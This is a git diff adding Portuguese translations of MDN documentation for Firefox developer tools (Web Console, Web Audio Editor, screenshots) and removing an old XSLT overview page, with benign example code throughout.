+ +

To take a screenshot of a single element in the page, activate the context menu on that element in the Inspector's HTML pane, and select "Screenshot Node". The screenshot is saved to the browser's "Downloads" directory:

+ +

{{EmbedYouTube("p2pjF_BrE1o")}}

+ +

Copiar capturas de ecrã para a área de transferência

+ +

From Firefox 53, you can also copy the screenshot to the clipboard. Just check the box in Settings labeled "Screenshot to clipboard":

+ +

{{EmbedYouTube("AZedFGh6F78")}}

+ +

Now, whenever you take a screenshot, the screenshot is also copied to the clipboard.

diff --git a/files/pt-pt/tools/web_audio_editor/index.html b/files/pt-pt/tools/web_audio_editor/index.html new file mode 100644 index 0000000000..bdbbd8e9a4 --- /dev/null +++ b/files/pt-pt/tools/web_audio_editor/index.html @@ -0,0 +1,68 @@ +--- +title: Editor de Áudio da Web +slug: Tools/Editor_de_audio_da_Web +tags: + - API Áudio Web + - Ferramentas + - Firefox + - Mozilla +translation_of: Tools/Web_Audio_Editor +--- +
{{ToolsSidebar}}

With the Web Audio API, developers create an {{domxref ("AudioContext", "audio context")}}. Within that context they then construct a number of {{domxref ("AudioNode", "audio nodes")}}, including:

+ + + +

Each node has zero or more {{domxref ("AudioParam")}} properties that configure its operation. For example, the {{domxref ("GainNode")}} has a single gain property, while the {{domxref ("OscillatorNode")}} has frequency and detune properties.

+ +

The developer connects the nodes in a graph, and the complete graph defines the behavior of the audio stream.

+ +

The Web Audio Editor examines an audio context constructed in the page and provides a visualization of its graph. This gives you a high-level view of its operation, and enables you to ensure that all the nodes are connected in the way you expect. You can then examine and edit the AudioParam properties for each node in the graph. Some non-AudioParam properties, like an OscillatorNode's type property, are displayed, and you can edit these as well.

+ +

This tool is still experimental. If you find bugs, we'd love it if you filed them in Bugzilla. If you have feedback or suggestions for new features, dev-developer-tools or Twitter are great places to register them.

+ +

Abrir o Editor de Áudio da Web

+ +

The Web Audio Editor is not enabled by default in Firefox 32. To enable it, open the Developer Tool Settings and check "Web Audio". Now there should be an extra tab in the Toolbox toolbar labeled "Web Audio". Click the tab and load a page that constructs an audio context. Two good demos are:

+ + + +

Visualizar o gráfico

+ +

The Web Audio Editor will now display the graph for the loaded audio context. Here's the graph for the Violent Theremin demo:

+ +

You can see that it uses three nodes: an {{domxref ("OscillatorNode")}} as the source, a {{domxref ("GainNode")}} to control the volume, and an {{domxref ("GainNode")}} as the destination.

+ +

Ligações para Parâmetros de Áudio

+ +
+

Displaying connections to AudioParams is new in Firefox 34.

+
+ +

As ligações entre os nodos são exibidas como linhas sólidas. Se, em vez disso, ligou um nodo para uma Parâmetro de Áudio em outro nodo, então a ligação é mostrada como uma linha tracejada entre os nodos, e é etiquetada com o nome de 'AudioParam':

+ +

Inspecionar e modificar Nodos de Áudio

+ +

If you click on a node, it's highlighted and you get a node inspector on the right hand side. This list the values of that node's AudioParam properties. For example, here's what the OscillatorNode looks like:

+ +

With the Violent Theremin demo, the frequency parameter is modified as the user moves the mouse left and right, and you can see this reflected in the node inspector. However, the value isn't updated in real time: you have to click the node again to see the updated value.

+ +

If you click on a value in the node inspector you can modify it: press Enter or Tab and the new value takes effect immediately.

+ +

Ignorar nodos

+ +
+

Novo no Firefox 38.

+
+ +

In the pane that shows you the node's details, there's an on/off button:

+ +

Click it, and the graph will be modified to bypass this node, so it will no longer have any effect. Nodes that are bypassed are shown with a hatched background:

+ +

diff --git a/files/pt-pt/tools/web_console/console_messages/index.html b/files/pt-pt/tools/web_console/console_messages/index.html new file mode 100644 index 0000000000..db51be1571 --- /dev/null +++ b/files/pt-pt/tools/web_console/console_messages/index.html @@ -0,0 +1,474 @@ +--- +title: Mensagens da Consola +slug: Tools/Consola_da_Web/Mensagens_consola +translation_of: Tools/Web_Console/Console_messages +--- +
{{ToolsSidebar}}

A maior parte da 'Consola da Web' é ocupada pelo painel de exibição de mensagens:

+ +

+ +

Cada mensgaem é exibida como uma linha separada:

+ +

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HoraThe time the message was recorded. This is not shown by default: you can opt to see timestamps using a setting in the Toolbox.
Categoria +

Category: this indicates what sort of message this is:

+ +
    +
  • Black: Network request
  • +
  • Blue: CSS warning/error/log
  • +
  • Orange: JavaScript warning/error
  • +
  • Red: Security warning/error
  • +
  • Green: Server logs
  • +
  • Light Gray: Console API messages
  • +
  • Dark Gray: input/output from the interactive command line interpreter
  • +
+
TipoFor all messages except network requests and interactive input/output an icon indicating whether it is an error(X), a warning(!) or an informational log message (i).
MensagemThe message itself.
Número de ocorrênciasIf a line that generates a warning or error is executed more than once, it is only logged once and this counter appears to indicate how many times it was encountered.
Nome de ficheiro e número da linha +

For JavaScript, CSS and console API messages the message can be traced to a specific line of code. The console then provides a link to the filename and line number that generated the message.

+ +

From Firefox 36, this includes the column number as well.

+
+ +

By default, the console is cleared each time you navigate to a new page or reload the current page. To override this behavior, check "Enable persistent logs" in the Settings.

+ +

Categorias da mensagem

+ +

Rede

+ +
+

Network log messages are not shown by default. Use the filtering feature to show them.

+
+ +

Network requests are logged with a line that looks like this:

+ +

+ + + + + + + + + + + + + + + + + + + + + + + + +
HoraThe time the message was recorded.
CategoriaIndicates that the message is an HTTP request.
Método +

The specific HTTP request method.

+ +

If the request was made as an XMLHttpRequest, there's an additional note indicating this:

+ +

+
URIThe target URI.
ResumoThe HTTP version, status code, and time taken to complete.
+ +

Visualização dos detalhes do pedido de rede

+ +

If you click on the message, you'll be redirected to the Network panel where the request is selected and more request and response details are shown within the side panel at the right side. In versions prior to Firefox 43 this information was shown in a separate popup.

+ +

Starting in Firefox 48, you can access much of this detail inline, without leaving the Web Console. Network request entries get a disclosure arrow next to them. Click this to see:

+ + + +

{{EmbedYouTube("cFlcWzJ9j4I")}}

+ +

JS

+ +

JavaScript messages look like this:

+ +

+ +

Hiperligação "Sbaer mais"

+ +
Novo no Firefox 49
+ +

JavaScript errors contain a "Learn more" link that takes you to the JavaScript error reference containing additional advice for fixing issues:

+ +

{{EmbedYouTube("OabJc2QR6o0")}}

+ +

Source maps

+ +
New in Firefox 50 (but disabled by default)
+ +

From Firefox 50, the Web Console understands source maps. This means that if your JavaScript sources are compressed, you can supply a source map for them. Then any messages or errors your source generates will show up in the Web Console with a link back to the original source, not the compressed version.

+ +

At the moment source map support is disabled by default. To enable it, visit "about:config", find the preference "devtools.source-map.locations.enabled" and set it to true.

+ +

Be aware that support is still experimental. It may have bugs and may slow down console output. Bug 1289570 tracks any work that needs to be done before source map support can be enabled by default.

+ +

CSS

+ +
+

CSS warnings and reflow messages are not shown by default. Use the filtering feature to show them.

+
+ +

CSS messages look like this:

+ +

+ +

Reflow events

+ +

The Web Console also logs reflow events under the CSS category. A reflow is the name given to the operation in which the browser calculates the layout of all or part of the page. Reflows occur when a change has happened to a page that the browser thinks affects the layout. Many events can trigger reflows, including: resizing the browser window, activating pseudoclasses like :hover, or manipulating the DOM in JavaScript.

+ +

Because reflows can be computationally expensive and directly affect the user interface, they can have a big impact on the responsiveness of a website or web app. By logging reflow events the Web Console can give you insight into when reflow events are being triggered, how long they take to execute and, if the reflows are synchronous reflows triggered from JavaScript, which code triggered them.

+ +

Reflow events are logged as "Reflow" messages, as distinct from CSS errors or warnings. By default, they are disabled. You can enable them by clicking the "CSS" button in the toolbar and selecting "Reflows".

+ +

Each message is labeled "reflow" and shows the time taken to execute the reflow:

+ +

If the reflow is a synchronous reflow triggered from JavaScript, it also shows a link to the line of code that triggered the reflow:

+ +

Click the link to open the file in the Debugger.

+ +

Synchronous and asynchronous reflows

+ +

If a change is made that invalidates the current layout - for example, the browser window is resized or some JavaScript modifies an element's CSS - the layout is not recalculated immediately. Instead, the reflow happens asynchronously, the next time the browser decides it needs to be done (generally, the next time the browser repaints). In this way the browser can save up a collection of invalidating changes and recalculate their effect at once.

+ +

However, if some JavaScript code reads a style that has been modified, then the browser must perform a synchronous reflow in order to calculate the computed style to return. For example, code like this will cause an immediate, synchronous, reflow, when it calls window.getComputedStyle(thing).height:

+ +
var thing = document.getElementById("the-thing");
+thing.style.display = "inline-block";
+var thingHeight = window.getComputedStyle(thing).height;
+ +

Because of this, it's a good idea to avoid interleaving write and read calls to an element's styles when manipulating the DOM, because every time you read back a style that has been invalidated by a previous write call, you force a synchronous reflow.

+ +

Security

+ +

Security warnings and errors look like this:

+ +

The security messages shown in the Web Console help developers find potential or actual vulnerabilities in their sites. Additionally, many of these messages help educate developers because they end with a “Learn More” link that takes you to a page with background information and advice for mitigating the issue.

+ +

The complete list of security messages is as follows:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MessageDetails
Blocked loading mixed active contentThe page contained mixed active content: that is, the main page was served over HTTPS, but asked the browser to load "active content", such as scripts, over HTTP. The browser blocked this active content. See Mixed Content for more details.
Blocked loading mixed display contentThe page contained mixed display content: that is, the main page was served over HTTPS, but asked the browser to load "display content", such as images, over HTTP. The browser blocked this display content. See Mixed Content for more details.
Loading mixed (insecure) active content on a secure pageThe page contained mixed active content: that is, the main page was served over HTTPS, but asked the browser to load "active content", such as scripts, over HTTP. The browser loaded this active content. See Mixed Content for more details.
Loading mixed (insecure) display content on a secure pageThe page contained mixed display content: that is, the main page was served over HTTPS, but asked the browser to load "display content", such as images, over HTTP. The browser loaded this display content. See Mixed Content for more details.
This site specified both an X-Content-Security-Policy/Report-Only header and a Content-Security-Policy/Report-Only header. The X-Content-Security-Policy/Report-Only header(s) will be ignored.See Content Security Policy for more details.
The X-Content-Security-Policy and X-Content-Security-Report-Only headers will be deprecated in the future. Please use the Content-Security-Policy and Content-Security-Report-Only headers with CSP spec compliant syntax instead.See Content Security Policy for more details.
Password fields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen.Pages containing login forms must be served over HTTPS, not HTTP.
Password fields present in a form with an insecure (http://) form action. This is a security risk that allows user login credentials to be stolen.Forms containing password fields must submit them over HTTPS, not HTTP.
Password fields present on an insecure (http://) iframe. This is a security risk that allows user login credentials to be stolen.iframes containing login forms must be served over HTTPS, not HTTP.
The site specified an invalid Strict-Transport-Security header.See HTTP Strict Transport Security for more details.
+

This site makes use of a SHA-1 Certificate; it's recommended you use certificates with signature algorithms that use hash functions stronger than SHA-1.

+
+

The site uses a certificate whose signature uses the SHA-1 hash algorithm.

+ +

SHA-1 is still still widely used in certificates, but it is starting to show its age. Web sites and Certification Authorities are encouraged to switch to stronger hash algorithms in future. See the Weak Signature Algorithm article for more details.

+ +

Note that the SHA-1 certificate may not be your site's own certificate, but may be the certificate belonging to a Certification Authority that was used to sign your site's certificate.

+
+ +

Bug 863874 is the meta-bug for logging relevant security messages to the Web Console. If you have more ideas for useful features like the ones discussed here, or are interested in contributing, check out the metabug and its dependencies.

+ +

Logging

+ +
+

Messages logged from Shared Workers, Service Workers, add-ons, and Chrome Workers are not shown by default. Use the filtering feature to show them.

+
+ +

The Logging category includes messages logged using the Console API.
+

+ +

The Web console supports the following Console API messages:

+ + + +

The console prints a stack trace for all error messages, like this:

+ +
function foo() {
+  console.error("it explodes");
+}
+
+function bar() {
+  foo();
+}
+
+function doStuff() {
+ bar();
+}
+
+doStuff();
+ +

+ +

Servidor

+ +
+

Novo no Firefox 43

+
+ +
+

Server-side log messages are not shown by default. Use the filtering feature to show them.

+
+ +

From Firefox 43, the Web Console can display messages sent from the server. This enables you to use the Web Console to debug server-side code.

+ +

It uses the Chrome Logger protocol. Briefly, the way it works is:

+ + + +

To find a suitable library for your server code, see the Chrome Logger documentation.

+ +

Linha de comando - entrada/saída

+ +

Commands sent to the browser using the Web Console's command line, and the corresponding responses, are logged using lines like this:

+ +

The dark gray bar indicates that these are input/output messages, while the direction of the arrow discriminates between input and output.

+ +

Filtering and searching

+ +

Filtrar por categoria

+ +

You can use the toolbar along the top to constrain the results displayed.

+ +

To see only messages of particular categories, click the button labeled with that category ("Net", "CSS", and so on). Clicking the main part of the button toggles that category on or off, while clicking the arrow on the right gives you more fine-grained filter options within that category:

+ + + +

Filtrar por texto

+ +

To see only messages that contain a specific string, type in the text box labeled "Filter output".

+ +

Limpar o registo de eventos

+ +

Finally, you can use this toolbar to clear the log. Before Firefox 48, this is a button labeled "Clear" on the right of the toolbar. From Firefox 48 it's a trashcan icon on the left.

+ +
+ + + + + +
diff --git a/files/pt-pt/tools/web_console/helpers/index.html b/files/pt-pt/tools/web_console/helpers/index.html new file mode 100644 index 0000000000..c789f98427 --- /dev/null +++ b/files/pt-pt/tools/web_console/helpers/index.html @@ -0,0 +1,142 @@ +--- +title: Ajuda da Consola da Web +slug: Tools/Consola_da_Web/Ajuda +tags: + - Depuração + - Desenvolvimento da Web + - JavaScript + - consola da Web +translation_of: Tools/Web_Console/Helpers +--- +
{{ToolsSidebar}}
+ +

Os comandos

+ +

The JavaScript command line provided by the Web Console offers a few built-in helper functions that make certain tasks easier.

+ +
+
$(selector, element)
+
+

Looks up a CSS selector string selector , returning the first node descended from element that matches. If unspecified, element defaults to document. Equivalent to {{ domxref("document.querySelector()") }} or calls the $ function in the page, if it exists.

+ +

See the QuerySelector code snippet.

+
+
$$(selector, element)
+
Looks up a CSS selector string selector, returning an array of DOM nodes descended from element that match. If unspecified, element defaults to document. This is like for {{ domxref("document.querySelectorAll()") }}, but returns an array instead of a {{ domxref("NodeList") }}.
+
$0
+
The currently-inspected element in the page.
+
$_
+
Stores the result of the last expression executed in the console's command line. For example, if you type "2+2 <enter>", then "$_ <enter>", the console will print 4.
+
$x(xpath, element, resultType)
+
Evaluates the XPath xpath expression in the context of element and returns an array of matching nodes. If unspecified, element defaults to document. The resultType parameter specifies the type of result to return; it can be an XPathResult constant, or a corresponding string: "number", "string", "bool", "node", or "nodes"; if not provided, ANY_TYPE is used.
+
keys()
+
Given an object, returns a list of the keys (or property names) on that object. This is a shortcut for Object.keys.
+
values()
+
Given an object, returns a list of the values on that object; serves as a companion to keys().
+
clear()
+
Clears the console output area.
+
inspect()
+
Given an object, opens the object inspector for that object.
+
pprint()
+
Formats the specified value in a readable way; this is useful for dumping the contents of objects and arrays.
+
help(){{Deprecated_Inline(62)}}
+ :help{{Gecko_MinVersion_Inline(62)}}
+
Displays help text. Actually, in a delightful example of recursion, it will bring you to this page.
+
cd()
+
+

Switch JavaScript evaluation context to a different iframe in the page. This helper accepts multiple different ways of identifying the frame to switch to. You can supply any of the following:

+ +
    +
  • a selector string that will be passed to document.querySelector to locate the iframe element
  • +
  • the iframe element itself
  • +
  • the content window inside the iframe
  • +
+ +

See working with iframes.

+
+
copy()
+
New in Firefox 38. Copy the argument to the clipboard. If the argument is a string, it's copied as-is. If the argument is a DOM node, its outerHTML is copied. Otherwise, JSON.stringify will be called on the argument, and the result will be copied to the clipboard.
+
clearHistory()
+
New in Firefox 39. Just like a normal command line, the console command line remembers the commands you've typed. Use this function to clear the console's command history.
+
:screenshot
+
New in Firefox 62. Create a screenshot of the current page with the supplied filename. If you don't supply a filename, the image file will be named:
+
+ Screen Shot yyy-mm-dd at hh.mm.ss.png
+
+ The command has the following optional parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComandoTipoDescrição
--clipboardbooleanWhen present, this parameter will cause the screenshot to be copied to the clipboard.
--delaynumberThe number of seconds to delay before taking the screenshot.
--dprnumberThe device pixel ratio to use when taking the screenshot.
--filebooleanWhen present, the screenshot will be saved to a file, even if other options (e.g. --clipboard) are included.
--filenamestringThe name to use in saving the file. The file should have a ".png" extension.
--fullpagebooleanIf included, the full webpage will be saved. With this parameter, even the parts of the webpage which are outside the current bounds of the window will be included in the screenshot. When used, "-fullpage" will be appended to the file name.
--selectorstringThe CSS query selector for a single element on the page. When supplied, only this element will be included in the screenshot.
+
+
+ +

Please refer to the Console API for more information about logging from content.

+ +

Variáveis

+ +
+
tempN
+
The "Use in Console" option in the Inspector generates a variable for a node named temp0, temp1, temp2, etc. referencing the node.
+
+ +

Exemplos

+ +

Looking at the contents of a DOM node

+ +

Let's say you have a DOM node with the ID "title". In fact, this page you're reading right now has one, so you can open up the Web Console and try this right now.

+ +

Let's take a look at the contents of that node by using the $() and inspect() functions:

+ +
inspect($("#title"))
+ +

This automatically opens up the object inspector, showing you the contents of the DOM node that matches the CSS selector "#title", which is of course the element with ID "title".

+ +

Dumping the contents of a DOM node

+ +

That's well and good if you happen to be sitting at the browser exhibiting some problem, but let's say you're debugging remotely for a user, and need a look at the contents of a node. You can have your user open up the Web Console and dump the contents of the node into the log, then copy and paste it into an email to you, using the pprint() function:

+ +
pprint($("#title"))
+ +

This spews out the contents of the node so you can take a look. Of course, this may be more useful with other objects than a DOM node, but you get the idea.

diff --git a/files/pt-pt/tools/web_console/index.html b/files/pt-pt/tools/web_console/index.html new file mode 100644 index 0000000000..e0f34f8069 --- /dev/null +++ b/files/pt-pt/tools/web_console/index.html @@ -0,0 +1,48 @@ +--- +title: Consola da Web +slug: Tools/Consola_da_Web +tags: + - Depuração + - Desenvolvimento da Web + - Ferramentas + - Ferramentas Desenvolvimento Web + - Guía + - Segurança + - consola da Web + - 'l10n:priority' +translation_of: Tools/Web_Console +--- +
{{ToolsSidebar}}
+ +

A Consola da Web:

+ +
    +
  1. Regista a informação associada com a página da Web: pedidos de rede, JavaScript, CSS, erros de segurança e avisos, bem como erro, aviso e mensagens de informação explicitamente registadas pelo código de JavaScript executado no contexto da página
  2. +
  3. Permite-lhe interagir com a página da Web, ao executar as expressões de JavaScript no contexto da página
  4. +
+ +

{{EmbedYouTube("C6Cyrpkb25k")}}

+ +
+
+
+
Abrir a Consola da Web
+
Como utilizar a Consola da Web.
+
Intérprete da linha de comando
+
Como interagir com um documento, utilizando a Consola.
+
Dividir consola
+
Utilize a Consola com outras ferramentas.
+
+
+ +
+
+
Mensagens da consola
+
Detalhes das mensagens dos registos da Consola.
+
Informação Detalhada (Rich Output)
+
Ver e interagir com objetos registados pela Consola.
+
Atalhos do teclado
+
Referência de atalho.
+
+
+
diff --git a/files/pt-pt/tools/web_console/keyboard_shortcuts/index.html b/files/pt-pt/tools/web_console/keyboard_shortcuts/index.html new file mode 100644 index 0000000000..11e3017557 --- /dev/null +++ b/files/pt-pt/tools/web_console/keyboard_shortcuts/index.html @@ -0,0 +1,14 @@ +--- +title: Atalhos de teclado da consola da Web +slug: Tools/Consola_da_Web/Atalhos_teclado +translation_of: Tools/Web_Console/Keyboard_shortcuts +--- +
{{ToolsSidebar}}
+ +

{{ Page ("pt-PT/docs/tools/Keyboard_shortcuts", "web-console") }}

+ +

Atalhos globais

+ +
+

{{ Page ("pt-PT/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}

+
diff --git a/files/pt-pt/tools/web_console/rich_output/index.html b/files/pt-pt/tools/web_console/rich_output/index.html new file mode 100644 index 0000000000..591a4cd624 --- /dev/null +++ b/files/pt-pt/tools/web_console/rich_output/index.html @@ -0,0 +1,77 @@ +--- +title: Informação Detalhada +slug: Tools/Consola_da_Web/Rich_output +translation_of: Tools/Web_Console/Rich_output +--- +
{{ToolsSidebar}}
+ +

Quando a consola da Web imprime objetos, esta inclui um conjunto de informação mais rico do que apenas o nome do objeto. Em particular, esta:

+ + + +

Type-specific rich output

+ +

The Web Console provides rich output for many object types, including the following:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Object
Array
Date
Promise +
+

New in Firefox 36

+
+ +

+
RegExp
Window
Document
Element
Event
+ +

Examining object properties

+ +

When an object is logged to the console it appears in italics. Click on it, and you'll see a new panel appear containing details of the object:

+ +

To dismiss this panel press Esc..

+ +

Highlighting and inspecting DOM nodes

+ +

If you hover the mouse over any DOM element in the console output, it's highlighted in the page:

+ +

In the screenshot above you'll also see a blue "target" icon next to the node in the console output: click it to switch to the Inspector with that node selected.

diff --git a/files/pt-pt/tools/web_console/split_console/index.html b/files/pt-pt/tools/web_console/split_console/index.html new file mode 100644 index 0000000000..9092beeae0 --- /dev/null +++ b/files/pt-pt/tools/web_console/split_console/index.html @@ -0,0 +1,20 @@ +--- +title: Dividir consola +slug: Tools/Consola_da_Web/Dividir_consola +translation_of: Tools/Web_Console/Split_console +--- +
{{ToolsSidebar}}
+ +

Pode utilizar a consola com outras ferramentas. Enquanto estiver noutra ferramenta na «Caixa de Ferramentas», basta pressionar Esc ou clicar no botão "Mostrar dividir consola" na Barra de Ferramentas. A caixa de ferramentas irá aparecer agora dividida, com a ferramenta original por cima e a consola da Web por baixo.

+ +

Pode fechar o "dividir consola" pressionando novamente Esc , ou selecioando o comando do menu "Ocultar dividir consola".

+ +

+ +

{{EmbedYouTube("G2hyxhPHyXo")}}

+ +

Como normalmente, $0 funciona como taquigrafia para o elemento atualmente selecionado no Inspetor:

+ +

Quando utilizar "dividir consola" com o depurador, o escopo da consola é a execução atual de stack frame. Então, se encontrar um ponto de interrupção numa função, o escopo será a intenção da função. Irá ter o "auto completar" para objetos definidos na função, e pode modificá-los facilmente na hora:

+ +

diff --git a/files/pt-pt/tools/web_console/the_command_line_interpreter/index.html b/files/pt-pt/tools/web_console/the_command_line_interpreter/index.html new file mode 100644 index 0000000000..16554ff278 --- /dev/null +++ b/files/pt-pt/tools/web_console/the_command_line_interpreter/index.html @@ -0,0 +1,187 @@ +--- +title: O intérprete de inserção (entrada) de JavaScript +slug: Tools/Consola_da_Web/O_interprete_da_linha_de_comandos +tags: + - Depuração + - Desenvolvimento da Web + - consola da Web +translation_of: Tools/Web_Console/The_command_line_interpreter +--- +
{{ToolsSidebar}}
+ +

You can interpret JavaScript expressions in real time using the interpreter provided by the Web Console. It has two modes: single-line entry and multi-line entry.

+ +

Modo de linha única

+ +

For single-line entry, you can type JavaScript expressions in the field at the bottom of the console log, at the >> prompt.

+ +

The Web Console, showing single-line mode

+ +

To enter expressions in single-line mode, type at the prompt and press Enter. To enter multi-line expressions, press Shift+Enter after typing each line, then Enter to run all the entered lines.

+ +

The expression you type is echoed under the input prompt, followed by the result.

+ +

If your input does not appear to be complete when you press Enter, then the Console treats this as Shift+Enter , enabling you to finish your input.

+ +

For example, if you type:

+ +
function foo() {
+ +

and then Enter, the Console does not immediately execute the input, but behaves as if you had pressed Shift+Enter , so you can finish entering the function definition.

+ +

Modo de múltiplas linhas

+ +

For multi-line entry, click the "split pane" icon at the right hand side of the single-line entry field, or press  Ctrl+B (Windows/Linux) or Cmd+B (macOS). The multi-line editing pane opens on the left side the of Web Console.

+ +

Web Console in multi-line mode

+ +

You can enter multiple lines of JavaScript by default in this mode, pressing Enter after each one. To execute the snippet that is currently in the editing pane, click the Run button or press Ctrl+Enter (or Cmd+Return on MacOS). The snippet is echoed under the input prompt (in the right-side pane), followed by the result. You can also select a range of lines in the editing pane, and run just the code on those lines.

+ +

Starting in Firefox 76, if the code snippet is more than five lines long, only the first five lines are echoed in the console, preceeded by a disclosure triangle (or "twistie"), and followed by an ellipsis (…). Click anywhere in the area containing the echoed code to show the whole snippet; click again in that area to collapse it.

+ +

You can open files when in multi-line mode, and save the current contents of the editing pane to a file.

+ + + +

To switch back to single-line mode, click the X icon at the top of the multi-line editing pane, or press  Ctrl+B (Windows/Linux) or Cmd+B (MacOS).

+ +

Aceder às variáveis

+ +

You can access variables defined in the page, both built-in variables like window and variables added by JavaScript libraries like jQuery:

+ +

+ +

Auto completar

+ +

The editor has autocomplete: enter the first few letters and a popup appears with possible completions:

+ +

+ +

Press  Enter, Tab, or the right arrow key to accept the suggestion, use the up/down arrows to move to a different suggestion, or just keep typing if you don't like any of the suggestions.

+ +

Console autocomplete suggestions are case-insensitive.

+ +

The console suggests completions from the scope of the currently executing stack frame. This means that if you've hit a breakpoint in a function you get autocomplete for objects local to the function.

+ +

You get autocomplete suggestions for array elements, as well:

+ +

+ +

You can enable or disable autocompletion via the Settings ("gear") menu in the Web Console toolbar. The menuitem Enable Autocompletion has a checkmark next to it when the feature is enabled, which is missing when it is disabled. Select the menuitem to change the state.

+ +

Avaliação instantânea

+ +
+

This feature is available in Firefox Nightly, in versions labeled 74 and later.

+
+ +

When the "instant evaluation" feature is enabled, the interpreter displays results of expressions as you're typing them in single-line mode. Note that the result might be an error message. Expressions that have side effects are not evaluated.

+ +

You can enable or disable instant evaluation via the Settings ("gear") menu in the Web Console toolbar. The menuitem Instant Evaluation has a checkmark next to it when the feature is enabled, which is missing when it is disabled. Select the menuitem to change the state.

+ +

Contexto de execução

+ +

Code that you have executed becomes part of the execution context, regardless of what editing mode you were in when you executed it. For example, if you type a function definition in the multi-line editor, and click Run, you can switch to single-line mode and still use your function.

+ +

Sintaxe realçada

+ +

Console output showing syntax highlighting

+ +

The text you enter has syntax highlighting as soon as you have typed enough for the highlighter to parse it and infer the meanings of the "words".

+ +

The output is highlighted as well where appropriate.

+ +
+

Nota: Syntax highlighting is not visible in your browser if Accessibility features have been enabled.

+
+ +

Histórico de execução

+ +

The interpreter remembers expressions you've typed. To move back and forward through your history:

+ + + +

The expression history is persisted across sessions. To clear the history, use the clearHistory() helper function.

+ +

You can initiate a reverse search through the expression history, much like you can in bash on Linux and Mac or PowerShell on Windows. On Windows and Linux press F9. On Mac press Ctrl+R (note: not Cmd+R!) to initiate the reverse search.

+ +

+ +

Enter the text you want to search for in the input box at the bottom of the Console. Start typing part of the expression you are looking for and the first match is displayed in the console. Repeatedly typing F9 on Windows and Linux ( Ctrl+R on Mac) cycles backwards through the matches.

+ +

+ +

Once you  have initiated the reverse search, you can use Shift + F9 on Windows or Linux ( Ctrl+S on Mac) to search forward in the list of matches. You can also use the  and icons in the expression search bar.

+ +

When you find the expression you want, press Enter (Return) to execute the statement.

+ +

Trabalhar com iframes

+ +

If a page contains embedded iframes, you can use the cd() function to change the console's scope to a specific iframe, and then you can execute functions defined in the document hosted by that iframe. There are three ways to select an iframe using cd():

+ +

You can pass the iframe DOM element:

+ +
var frame = document.getElementById("frame1");
+cd(frame);
+ +

You can pass a CSS selector that matches the iframe:

+ +
cd("#frame1");
+ +

You can pass the iframe's global window object:

+ +
var frame = document.getElementById("frame1");
+cd(frame.contentWindow);
+
+ +

To switch the context back to the top-level window, call cd() with no arguments:

+ +
cd();
+ +

For example, suppose we have a document that embeds an iframe:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="UTF-8">
+  </head>
+  <body>
+    <iframe id="frame1" src="static/frame/my-frame1.html"></iframe>
+  </body>
+</html>
+ +

The iframe defines a new function:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="UTF-8">
+    <script>
+      function whoAreYou() {
+        return "I'm frame1";
+      }
+   </script>
+  </head>
+  <body>
+  </body>
+</html>
+ +

You can switch context to the iframe like this:

+ +
cd("#frame1");
+ +

Now you'll see that the global window's document is the iframe:

+ +

And you can call the function defined in the iframe:

+ +

+ +

Comando da Ajuda

+ +

{{ page("docs/Tools/Consola_da_Web/Ajuda", "Os comandos") }}

diff --git a/files/pt-pt/tools/web_console/ui_tour/index.html b/files/pt-pt/tools/web_console/ui_tour/index.html new file mode 100644 index 0000000000..e997885daf --- /dev/null +++ b/files/pt-pt/tools/web_console/ui_tour/index.html @@ -0,0 +1,27 @@ +--- +title: Abrir a Consola da Web +slug: Tools/Consola_da_Web/Abertura_Consola_Web +tags: + - consola da Web +translation_of: Tools/Web_Console/UI_Tour +--- +
{{ToolsSidebar}}
+ +

Para abrir a 'Consola da Web':

+ + + +

The Toolbox will appear at the bottom of the browser window, with the Web Console activated (it's just called "Console" in the DevTools toolbar):

+ +

+ +

A interface da 'Consola da Web' é dividida em três secções horizontais:

+ + diff --git a/files/pt-pt/transformar_xml_com_xslt/index.html b/files/pt-pt/transformar_xml_com_xslt/index.html deleted file mode 100644 index 22d79de1f3..0000000000 --- a/files/pt-pt/transformar_xml_com_xslt/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Transformar XML com XSLT -slug: Transformar_XML_com_XSLT -tags: - - PrecisaDeMigração - - Todas_as_Categorias - - Transformar_XML_com_XSLT - - XSLT ---- -

 

- -

Visão Geral

- -

A separação do conteúdo e apresentação é uma característica chave de um projeto do XML. A estrutura de um documento XML é projetada para refletir e esclarecer relacionamentos importantes entre os aspectos individuais do próprio conteúdo, unhindered por uma necessidade fornece qualquer indicação sobre como este dado deve eventualmente ser apresentado. Esta estruturação inteligente é particularmente importante como cada vez mais transferências de dados são automatizadas e ocorrem entre máquinas altamente heterogêneas ligadas por uma rede.

- -

Eventualmente muito do conteúdo armazenado em documentos XML precisarão ser apresentados para leitores humanos. Por isso o navegador proporciona uma interface familiar e altamente flexível, isto é um mecanismo ideal para entregar para apresentação as versões do conteúdo XML. Construído de baixo para cima utilizando uma variedade de tecnologias XML, o Mozilla incorpora nele todos os mecanismos necessários para processar todos os documentos XML originais e as folhas de estilo especializadas usadas para o estilo e disposição da exibição HTML, reduzindo o carregamento do servidor com o lado de processamento do cliente.

- -

No momento, o Gecko (a disposição do motor por trás do Mozilla e Firefox) suporta duas formas de folhas de estilo XML. Para controle básico da aparência — fontes, cores, posições, e assim por diante — Gecko usa a CSS, familiar de DHTML. Toda a CSS1 e a maior parte da CSS2 são suportados. O suporte para a CSS3 esá em desenvolvimento. Para informações adicionais sobre CSS, veja Eric Meyer's CSS pages.

- -

Nosso foco aqui é no segundo tipo de folhas de estilo que o Gecko suporta: a folha de estilo XSLT (Extensible Stylesheet Language Transformations). XSLT permite a um autor de folhas de estilo transfomrar um documento XML primário em dois caminhos significantes: manipulando e classificando o conteúdo, incluindo reordenação por atacado, se desejado assim, e transformação do conteúdo em um formato diferente (e no caso do Mozilla, o foco é na conversão disto em HTML que pode ser exibido pelo navegador.

- -

Referência XSLT/XPath

- -

Elementos

- - - -

Eixos

- - - -

Funções

- - - -

Para leitura adicional

- - - -
-

Informação Original do Documento

- - -
